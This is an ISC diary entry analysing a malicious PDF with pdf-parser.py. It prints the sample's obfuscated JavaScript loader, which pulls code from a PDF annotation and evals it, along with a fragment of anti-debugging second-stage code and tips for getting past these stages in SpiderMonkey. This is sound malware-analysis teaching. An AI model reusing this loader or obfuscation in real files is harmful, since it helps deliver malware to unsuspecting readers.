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Static analysis of malicous PDFs (Part #2)
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Published: 2010-01-07,
Last Updated: 2010-01-07 13:38:01 UTC
by Daniel Wesemann (Version: 1)
3 comment(s)

This sample came to us from ISC reader Joe, who reported that his Acrobat reader had crashed with the error message "A 3D parsing error has occurred". The obfuscation approach used by this sample isn't brand new, this type has been around since about mid December as far as we know. No matter, this ISC diary is not about breaking news, more about analysis technique.

$ md5sum bad.pdf
0045c97c4e9e44cac68bd85e197bfae2 bad.pdf
$ ls -al bad.pdf
-rw-r----- 1 daniel handlers 37275 2010-01-06 04:04 bad.pdf

This sample currently still stumps automated analysis tools like the usually excellent Wepawet, but this PDF is indeed malicious. Lets take a look, using Didier Stevens' pdf-parser.py as before.

$pdf-parser.py -a bad.pdf
Comment: 3
Trailer: 1
StartXref: 1
Indirect object: 10
3: 7, 8, 10
/Action 1: 6
/Annot 2: 5, 9
/Catalog 1: 1
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

This document defines an "action" which triggers when the document is opened. The corresponding code is in Section 6 of this PDF. Looking at this section, we see that this is indeed a JavaScript block, but the actual code resides in section 7

$ pdf-parser.py -o 6 -f bad.pdf
obj 6 0
Type: /Action
Referencing: 7 0 R
[(2, '<<'), (2, '/Type'), (2, '/Action'), (2, '/S'), (2, '/JavaScript'), [...]

/Type /Action
/S /JavaScript
/JS 7 0 R

Continuing the quest, let's look at section 7:

$ pdf-parser.py -o 7 -f bad.pdf
obj 7 0
Contains stream
[(2, '<<'), (2, '/Length'), (1, ' '), (3, '231'), (2, '/Filter'), (2, '/FlateDecode'), (2, '>>'), (1, 'rn')]

/Length 231
/Filter /FlateDecode

"var z; var y; n var h = 'edvoazcl'; nt z = y = app[h.replace(/[aviezjl]/g, '')]; nt var tmp = 'syncAEEotScan'; y = 0; t z[tmp.replace(/E/g, 'n')](); y = z; var p = y.getAnnots ( { nPage: 0 }) ; var s = p[0]; s = s['sub' + 'ject']; var l = s.replace(/[zhyg]/g, '%') ; s = unescape ( l )
;app[h.replace(/[czomdqs]/g, '')]( s);n s = ''; z = 1;"

That's more like it! Here we actually get JavaScript code ... and this code is probably the reason why some of the automated analyzers fail: This isn't simple JavaScript, it makes use of Adobe Acrobat specific JavaScript objects and methods to refer to the currently loaded document (app.doc), to identify any "annotations" within this document (syncAnnotScan), to access the first annotation (getAnnots), to assign it to a variable, and finally to eval (run) the code within this variable.  

When we ran pdf-parser.py -a above, it showed "/Annot 2: 5, 9", indicating two annotation sections, 5 and 9. This script accesses the first annotation, thus section 5. Looking into section 5, we see that it simply refers to section 8 .. and there, finally, we find the code block

$pdf-parser.py -o 8 -f bad.pdf

obj 8 0
Contains stream
[(2, '<<'), (2, '/Length'), (1, ' '), (3, '8583'), (2, '/Filter'), (2, '/FlateDecode'), (2, '>>'), (1, 'rn')]

/Length 8583
/Filter /FlateDecode


Two more stages of decoding await the analyst here. First, we have to untangle the above (substitute y with %, then unescape). The resulting JavaScript code is still obfuscated:

function ddlPTcqc0_Cg(v42s_64, V__JS32){var qAi_ED = arguments.callee;var T8_2r_twoNOkI = 0;var
Fyaf2_8v_c7i = 512;qAi_ED = qAi_ED.toString();try {if (app){T8_2r_twoNOkI = 3;T8_2r_twoNOkI--;}}
catch(e) { }var ad_____M = new Array();if (v42s_64) { ad_____M = v42s_64;} else {var jVhSGHs = 0;

Note how it makes use of "arguments.callee", an anti-debugging technique that we covered before. Also note how the code is again dependent on the presence of the "app" object... which is Adobe specific, and won't exist in Spidermonkey. But all you have to do to get past this stage in SpiderMonkey is to first define the app variable (set it to anything you like, app=1 works fine), and then to use your normal trick to get past the "arguments.callee" trap. I still like to use the copy of SpiderMonkey that I patched to print on every eval call.

Phew! Yes indeed. Considering the complexity of all this, it is probably no surprise that we are seeing such an increase of malware wrapped into PDFs ... and also no surprise that Anti-Virus tools are doing such a shoddy job at detecting these PDFs as malicious: It is darn hard. For now, AV tools tend to focus more on the outcome and try to catch the EXEs written to disk once the PDF exploit was successful. But given that more and more users no longer reboot their PC, and just basically put it into sleep mode between uses, the bad guys do not really need to strive for a persistent (on-disk) infection anymore. In-memory infection is perfectly "good enough" -  the average user certainly won't reboot his PC between leisure surfing and online banking sessions. Anti-Virus tools that miss the exploit but are hopeful to catch the EXE written to disk won't do much good anymore in the near future.


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